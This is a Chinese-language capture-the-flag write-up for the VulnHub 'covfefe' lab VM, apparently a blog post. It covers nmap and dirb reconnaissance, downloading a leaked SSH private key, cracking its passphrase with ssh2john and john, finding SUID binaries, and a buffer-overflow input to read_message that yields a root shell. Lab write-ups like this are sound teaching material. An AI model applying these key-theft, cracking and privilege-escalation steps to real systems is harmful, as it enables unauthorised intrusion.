vulnhub私钥泄露实战


环境准备

本次环境使用的是vulnhub靶场里面的covfefe
靶场下载地址:https://www.vulnhub.com/entry/covfefe-1,199/
靶机:192.168.0.103
攻击机:parrot 192.168.146.129


一、信息搜集

nmap扫描靶机

nmap -sV 192.168.0.103 

-sV是服务器指纹识别
在这里插入图描述发现80端口和22号的ssh服务,以及31337端口开放

先访问了80端口并没有发现什么


在这里插入图片描述
之后考虑31337端口尝试使用dirb扫描
dirb是一个基于字典的web目录扫描工具,是信息搜集常用的工具

dirb http://192.168.0.103:31337

在这里插入图片描述
发现robots.txt并且访问
在这里插入图片描述
很简单的在/taxes里找到flag1
在这里插入图片描述
之后再访问./ssh(之前dirb也扫出来的)
能访问到/.ssh——说明可能存在密钥泄露

在这里插入图片描述
逐一下载到Downloads里
在这里插入图片描述
【至此本靶机的信息搜集基本完成】

二、ssh私钥登录

然后在authorized_keys里发现这个服务器上有个叫simon的用户
在这里插入图片描述

设置拥有者对id_rsa可读写,其他人不可读、写、执行

chmod 600 id_rsa

使用ssh登录simon

ssh -i id_rsa simon@192.168.0.103

但需要输入密码
在这里插入图片描述


三、john破解ssh秘钥信息

利用ssh2john将id_rsa秘钥信息转换为john可以识别的信息并且破解

python /usr/share/john/ssh2john.py id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

获取到密码👇
在这里插入图片描述
登录ssh

ssh -i id_rsa simon@192.168.0.103 

在这里插入图片描述

成功登录😄


四、提权

cd /root
ls
cat flag.txt
我们在root目录下发现有flag.txt,但是无法读取,因此需要提权


在这里插入图片描述
接下来就需要find命令寻找权限,利用suid权限(4000代表suid权限)
查找能够用root权限去执行哪些东西

find / -perm -4000 2>/dev/null

在这里插入图片描述
联系到root里面有个read_message.c文件——两个文件可能有关系

接下来审计read_message.c这个文件
在这里插入图片描述
发现注释中的flag2

考虑缓冲区溢出漏洞
审计c语言的代码

发现输入的值是保存在buf里,如果这个值的前5个字是Simon,就返回正确

在if语句里考虑输入的值超过20个,20个之后的就会被execve调用,就可以实现缓冲区溢出

read_message
Simonqqqqqqqqqqqqqqq/bin/sh

在这里插入图片描述
提权成功
获得flag3👌,收工

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值